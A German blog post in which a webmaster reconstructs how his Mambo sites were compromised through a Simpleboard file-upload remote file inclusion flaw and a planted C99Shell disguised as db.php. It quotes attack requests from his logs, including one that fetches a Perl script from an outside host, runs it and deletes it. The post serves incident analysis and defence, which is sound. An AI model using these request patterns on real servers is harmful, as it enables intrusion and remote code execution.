Auf den Spuren eines Spielkindes

Aufmerksame Leser unseres Weblogs haben es sicher mitbekommen. Ich wurde gehackt. Aber nicht nur meine Seiten waren betroffen. Auch einige meiner Kunden :-( Thomas hat mich zeitnah über den Vorfall per SMS informiert. Vielen Dank an dieser Stelle.

Wir haben daraufhin unseren Urlaub frühzeitig beendet und sind nach München zurück. Unterwegs habe ich mir Gedanken gemacht, wie der Hacker eindringen konnte. Ich vermute ein Sicherheitsloch in einer Mambo-Komponente. Zuhause konnte ich mir dann ein Bild vom angerichteten Schaden machen. Thomas hat sich bereits den angegebenen Chat angeschaut und sich mit den vermutlichen Hackern unterhalten. Klingt sehr nach Spielkinder. Zum Glück.

Aber erstmal auf Nummer Sicher gehen. Wenn die Angreifer irgendwelche illegalen Dateien (gecrackte Spiele, Software, Pornos etc) auf meinen Server hochgeladen haben, muß ich diese sofort unzugänglich machen. Auch der Traffic könnte mich sehr teuer kommen. Also habe ich im Kundenmenü meines Servers den Traffic überprüft. Anhand des Datums der geänderten Dateien vermute ich, dass der Angriff am 4. August zwischen 6:30 und 7:30 stattgefunden hat.

Traffic bei nicht genutzten Domains

Okay, Traffic ist nicht stark angestiegen. Bei den größeren Seiten ist der Traffic am 4. August deutlich runtergegangen. Aber: Auch kaum genutzte Domains wurden am 4. August besucht…. Hat den der Hacker überprüft, ob seine Änderungen funktioniert haben? Ja, er hat! IP-Adresse, Datum, Uhrzeit, Browser. Alles schön in einem sehr übersichtlichen Logfile.

Mit der IP-Adresse habe ich dann das Logfile meiner Mambo-Installationen durchgeschaut. Und da ist er. eine db.php bei der Mambo-Komponente simpleboard. Ob die dazugehört?

Script C99Shell als db.php getarnt

Das schaut mir nicht nach Simpleboard aus…

Okay, die Datei sichern und unschädlich machen. Diese Datei gehört definitiv nicht zum Simpleboard. Bei anderen Simpleboard-Installationen und auch im Installationsverzeichnis gibt es keine db.php. Dieses Script wurde vom Hacker hochgeladen!!

Datum der Datei ist der 15.07. Also habe ich auch diese Logfiles durchsucht (Ich lösche keine Logfiles!) Und da ist er. Ein bekanntes – aber bereits behobenes Sicherheitsloch im file_upload.php/image_upload.php vom Simpleboard.

In dieser Datei hatte folgende Zeile gefehlt:

defined( '_VALID_MOS' ) or
die( 'Direct Access to this location is not allowed.' );

Diese Zeile sorgt dafür, dass ein direkter Zugriff auf dieses Script nicht möglich ist. Die Scripte werden normalerweise über include oder require in Mambo eingebunden. Im Mambo-Script ist die Konstante _VALID_MOS definiert.

Dieses Sicherheitsloch hatte ich am 18.07. geschlossen – leider erst drei Tage nach dem Hochladen des C99Shell-Scripts. Dieses C99Shell-Script ist mir damals auch nicht aufgefallen.

Aber nochmal zurück zum file_upload.php. Diese wird von der Simpleboard-Komponente eingebunden, wenn ein Datei-Upload stattfindet. Die Variable $sbp ist in der Simpleboard-Komponente definiert und wird in der Datei file_upload.php verwendet.

Die Eigenschaft REGISTER GLOBALS von PHP ermöglicht es, die URL-Parameter als Variable anzusprechen. Bei einem Aufruf von meinscript.php?wetter=sonne habe ich im Script eine Variable $wetter mit dem Wert „sonne„. Das bedeutet aber auch, dass ein Aufruf file_upload.php?sbp=wasanderes den Wert „wasanderes“ in die Variable $sbp einträgt.

Und das haben verschiedenste Angreifer auch versucht:

../file_upload.php?sbp=http://**************.com/fairy/cse.gif?
&cmd=cd%20/tmp;
lynx%20--source%20http://**************..com/fairy/powsnow.txt%20
>>%20powsnow.txt;perl%20powsnow.txt;
rm%20 -rf%20 powsnow.txt?

Das ist ein wirklich schönes Exemplar. Hier wird nicht nru eine Datei auf den Server geladen, sondern auch gleich als Perl-Script ausgeführt (perl powsnow.txt) und das angreifende Script wieder gelöscht (rm -rf powsnow.txt). Die angegebene Datei ist aber (seit. 18.07.) nicht erreichbar. Die „Angreifer“ waren laut IP-Adressen Server von anderen Webservern.

Mein Spanier hat sein Script mit folgendem Befehl hochgeladen:

POST /components/com_simpleboard/image_upload.php?
sbp=http%3A%2F%2Fxpl.********.com%2Ftool.txt%3F&&s=r&

War leicht zu finden, da dies unmittelbar vor dem ersten Aufruf der db.php war. Und der Aufruft stimmt mit dem Datum der Datei überein.

Das Spielkind aus Spanien wollte mich also auf ein Sicherheitsloch aufmerksam machen, welches er am 15.07. entdeckt hat? Klar… Ein eigenes Script hochladen und zwei Wochen später dann nutzen um Schaden anzurichten ist für mich kein Aufmerksam machen. Laut Chatlog hätte er auch immer Backups der geänderten Dateien gemacht, da er niemanden schaden wollen würde. Hat er nicht! Das Schwein sitzt laut IP-Adresse in Spanien. Ob die deutsche Polizei was machen kann?